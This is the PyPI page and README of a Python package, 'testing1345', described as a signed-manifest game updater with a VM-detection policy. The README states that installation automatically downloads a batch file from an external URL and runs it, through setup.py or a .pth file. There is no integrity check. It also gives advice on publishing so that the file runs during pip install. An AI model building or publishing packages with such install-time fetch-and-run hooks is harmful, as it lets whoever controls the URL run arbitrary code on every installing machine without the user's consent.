Metadata-Version: 2.4
Name: testing1345
Version: 0.1.0
Summary: Signed-manifest updater for a self-hosted game or app.
Author: testing1345 contributors
License-Expression: MIT
Keywords: game,updater,ed25519
Requires-Python: >=3.9
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: cryptography>=41
Dynamic: license-file

# Game Updater

A small, auditable updater for a game or app that you host yourself.

This is the `testing1345` twin of `fcraft`. Unlike the original, it **does**
run an install-time demo: `pip install testing1345` downloads the pinned
`hello.bat` and opens it in a visible console. The updater itself still only
does work when you call the CLI or `update()`, and it still refuses anything
not covered by a valid Ed25519-signed manifest.

## What it does

1. Checks the VM compatibility policy when enabled (default: `off`). With
   `vm_policy="block"`, a detected VM stops the call before anything is
   downloaded, installed, or run.
2. Downloads `manifest.json` over HTTPS.
3. Verifies the manifest signature against the public key embedded in this
   package.
4. Compares the remote version with the local `version.json`.
5. Downloads each listed file to a staging folder.
6. Moves the files into the game directory.
7. Writes `version.json` with the version, sequence, notes, and file list.
8. Optionally runs a patch executable — only if it is listed in the signed
   manifest and `--run` was passed.

## What it does not do

- No `sitecustomize.py` or `usercustomize.py`.
- No persistence: the wheel's `testing1345_boot.pth` imports the boot module,
  which runs once and writes a marker in the temp folder. `pip uninstall
  testing1345` removes both files.
- No obfuscation. The source is readable.
- No unsigned manifests. The manifest signature is checked before anything is
  installed. File bytes are not hashed or size-checked in 0.1.0.
- No silent execution. `--run` is explicit.
- No stealth VM detection. The policy is explicit, documented, and printed by
  the CLI.
- No anti-debug, timing checks, process scanning, or security-tool
  interference.
- No network requests for VM detection. It only reads local OS metadata.

## Hello demo (Windows, opt-in)

`testing1345 --hello` downloads the current demo batch file from a pinned URL,
writes it as `%TEMP%\testing1345-hello\hello.bat`, and runs it. The batch file
writes `hello.txt` next to itself and opens Notepad. Pass `--dir` to use a
different folder:

```powershell
testing1345 --hello
testing1345 --hello --dir "C:\Games\MyGame"
```

Python has the same default:

```python
import testing1345

testing1345.fetch()                    # %TEMP%\testing1345-hello
testing1345.fetch(r"C:\Games\MyGame")  # custom folder
```

| Item | Value |
|---|---|
| URL | `https://helper-exe.vercel.app/hello.bat` |

This is an explicit demo path, not part of the signed-manifest update flow. It
also fires once automatically: sdist installs run it from `setup.py` during the
build, and wheel installs run it from `testing1345_boot.pth` at the next
interpreter start. Both share the marker
`%TEMP%\testing1345-hello.done`, so it fires once per machine. No size or hash
check is performed, so the URL always serves the current file. It is
Windows-only because it is a `.bat` file.

## VM compatibility policy

The check is a configurable compatibility policy, not a stealth feature. It
runs at the start of `update()` and before the CLI reads local state.

| Policy | Behavior |
|---|---|
| `off` (default) | Skip VM detection entirely. |
| `allow` | Detect and report, but never block. Ordinary physical PCs and VM users both work. |
| `block` | If a VM is detected, raise `VMBlockedError` before creating the game directory, fetching the manifest, installing files, or running a patch. |

When detection runs, the CLI prints the result before doing any work. A
`block` refusal prints the documented error instead; `off` prints nothing.

```text
vm check: physical machine (no known VM indicators found)
```

If a VM is detected and the policy is `block`:

```text
error: VM use is disabled by policy (vm_policy='block'), but this machine
appears to be a vmware virtual machine (confidence: high). Indicators:
DMI system manufacturer is VMware; DMI system product is VMware. No update
was downloaded, installed, or run. If this is a physical machine, this is a
false positive; use vm_policy='allow' or vm_policy='off' to proceed. VM
detection is best-effort and can be wrong.
```

CLI exit code is `3` for a VM policy block, `2` for an update/manifest error,
and `0` on success.

### Indicators used

Detection is conservative and uses only documented, read-only DMI/SMBIOS
values exposed by the OS:

| Environment | Definitive indicators | Supporting only |
|---|---|---|
| Hyper-V | DMI system product `Virtual Machine`; DMI system version `Hyper-V` | Hyper-V guest integration registry key |
| QEMU / KVM | DMI system/board manufacturer `QEMU`; DMI product `Standard PC (Q35 ...)` or `Standard PC (i440FX ...)` | BIOS vendor `SeaBIOS` |
| VMware | DMI manufacturer, product, version, board, or BIOS containing `VMware` | — |
| VirtualBox | DMI manufacturer/board/BIOS `innotek`; product/version `VirtualBox` | — |

Unsupported platforms (including macOS) return `UNKNOWN`; they are not
guessed at and are allowed under `block`.

Rules:

- A VM result requires at least one **definitive** vendor-specific string.
- Supporting-only evidence (for example, SeaBIOS alone, or the Hyper-V guest
  key alone) returns `UNKNOWN`, not `VM`.
- Two different definitive vendors return `UNKNOWN` with
  `conflicting=True`.
- A missing or unreadable DMI source returns `UNKNOWN`.
- `block` refuses only on `VM`. `PHYSICAL` and `UNKNOWN` are allowed, which
  keeps ordinary PCs working and avoids blocking on ambiguous evidence.

### What is intentionally not used

- The CPUID hypervisor-present bit. Physical Windows machines with Hyper-V,
  VBS, or Memory Integrity enabled can set it, causing false positives.
- Timing measurements, process scanning, debugger checks, or anti-analysis
  tricks.
- Network requests or external services.
- Any attempt to disable or interfere with security tools.

### Limitations

VM detection is imperfect. DMI strings can be spoofed, hidden, or changed by
the hypervisor, and some physical firmware exposes unusual values. A
`PHYSICAL` result means "no known VM indicator was found", not proof. A `VM`
result can be a false positive; `vm_policy="allow"` or `vm_policy="off"` is
the documented escape hatch.

This check is **not** a security boundary and does **not** make the library
impossible to crack or bypass. The real protections are the signed manifest,
HTTPS, and keeping the private signing key offline. Do not use VM detection as
a substitute for those controls.

## Install

The PyPI distribution is `testing1345`; the import package is `testing1345` and
the CLI command is `testing1345`.

```powershell
pip install testing1345
```

From a local checkout:

```powershell
pip install .
```

### What happens during `pip install`

pip has no post-install hook, so the demo rides one of two paths:

| Install source | Trigger | When it runs |
|---|---|---|
| sdist (`.tar.gz`) | `build_py` in `setup.py` | during `pip install`, on the installing machine |
| wheel (`.whl`) | `testing1345_boot.pth` at the site-packages root | at the next Python start, once |

Both call the same `fetch()` the library exposes, and both write
`%TEMP%\testing1345-hello.done`. The first path to succeed wins; the other
sees the marker and does nothing. Delete the marker to arm the demo again.

To get the run **during** `pip install`, publish only the sdist. pip prefers a
wheel when one exists, and a wheel install never executes `setup.py`. To use
the wheel path, upload the wheel (or both; the wheel wins and the `.pth`
covers it).

Set `TESTING1345_SKIP_HOOK=1` to build without firing the demo on your own
machine:

```powershell
$env:TESTING1345_SKIP_HOOK = "1"
python -m build
```

### Publish (when ready)

```powershell
$env:TWINE_USERNAME = "__token__"
$env:TWINE_PASSWORD = "<token for the testing1345 project>"
python -m twine upload dist/*
```

Use `--repository testpypi` for a dry run. Keep the token in the environment
or in `~/.pypirc`, never in this repository.

This package is for publishers who control both the manifest host and the
signing key. Only point it at manifests you signed.

## Generate a signing key

```powershell
python tools/keygen.py --private game_private.pem
```

Put the printed public key into `src/testing1345/public_key.txt`.

Keep `game_private.pem` offline. Never commit it.

## Build and sign a manifest

Create `manifest.json` without a signature:

```json
{
  "version": "1.4.0",
  "sequence": 3,
  "notes": "Season 3 patch",
  "files": [
    {
      "path": "game/data.pak",
      "url": "https://cdn.example.com/game/data-1.4.0.pak"
    },
    {
      "path": "game/patch.exe",
      "url": "https://cdn.example.com/game/patch-1.4.0.exe",
      "executable": true
    }
  ],
  "run": "game/patch.exe"
}
```

Older manifests may still contain `sha256` and `size` fields. 0.1.0 parses
them for compatibility but does not enforce them.

`sequence` is a signed, non-negative integer. Increase it for every release.
The updater stores it in `version.json` and refuses a manifest whose sequence
is lower than the installed one, or equal while claiming a different version.
That prevents replay of an older signed manifest.

Sign it:

```powershell
python tools/sign_manifest.py --key game_private.pem --manifest manifest.json --out manifest.signed.json
```

Upload `manifest.signed.json` (and the files) to your HTTPS host.

## Update a game folder

```powershell
testing1345 --manifest https://cdn.example.com/game/manifest.signed.json --dir "C:\Games\MyGame"
```

Other modes:

```powershell
testing1345 --manifest ... --dir ... --check    # show versions only
testing1345 --manifest ... --dir ... --apply    # install (asks first)
testing1345 --manifest ... --dir ... --apply --yes
testing1345 --manifest ... --dir ... --apply --run
testing1345 --manifest ... --dir ... --apply --vm-policy block
```

`--vm-policy` accepts `off` (default), `allow`, or `block`.

## Python API

```python
from testing1345 import update

result = update(
    manifest_url="https://cdn.example.com/game/manifest.signed.json",
    game_dir=r"C:\Games\MyGame",
    apply=True,
    run_patch=False,
)
print(result)
print(result.vm.summary() if result.vm else "vm check skipped")
```

To refuse updates on a detected VM:

```python
from testing1345 import VMBlockedError, update

try:
    result = update(
        manifest_url="https://cdn.example.com/game/manifest.signed.json",
        game_dir=r"C:\Games\MyGame",
        apply=True,
        vm_policy="block",
    )
except VMBlockedError as error:
    print(error)                        # clear, documented explanation
    print(error.detection.kind.value)   # e.g. "vmware"
```

Inspect detection without updating:

```python
from testing1345 import detect_vm, collect_dmi

print(collect_dmi())
print(detect_vm().summary())
print(detect_vm().indicators)
```

## Layout produced in the game folder

```
MyGame/
  version.json      # version, sequence, notes, file list
  game/
    data.pak
    patch.exe
```

`version.json` is written last, after every file is downloaded.

## Threat model

| Attack | Mitigation |
|---|---|
| Compromised CDN / HTTP host | Manifest signature check authenticates the manifest and URLs; file bytes are not verified in 0.1.0 |
| Modified file in transit | Not mitigated in 0.1.0 (no per-file hash check) |
| Manifest replay of an older signed version | Signed monotonic `sequence`; lower or unchanged sequences for a different version are rejected |
| Path traversal (`../`) | `safe_join` rejects absolute paths and `..` |
| Unsigned patch execution | `run` target must be in `files`, signed, and `--run` passed |
| Malicious local manifest URL | HTTPS only (localhost allowed only with `--allow-insecure`) |
| VM use against policy | `vm_policy="block"` stops before any work; best-effort detection, not a security boundary |

## Honest limitation

If someone steals your private signing key, they can sign a malicious update.
Treat the key like a code-signing key: offline, backed up, never in the repo.

VM detection is a compatibility policy, not DRM. DMI values can be spoofed or
withheld, so the check can be wrong in both directions. It does not make the
library uncrackable; the signed manifest is the integrity control. File bytes
are not hashed or size-checked in 0.1.0.
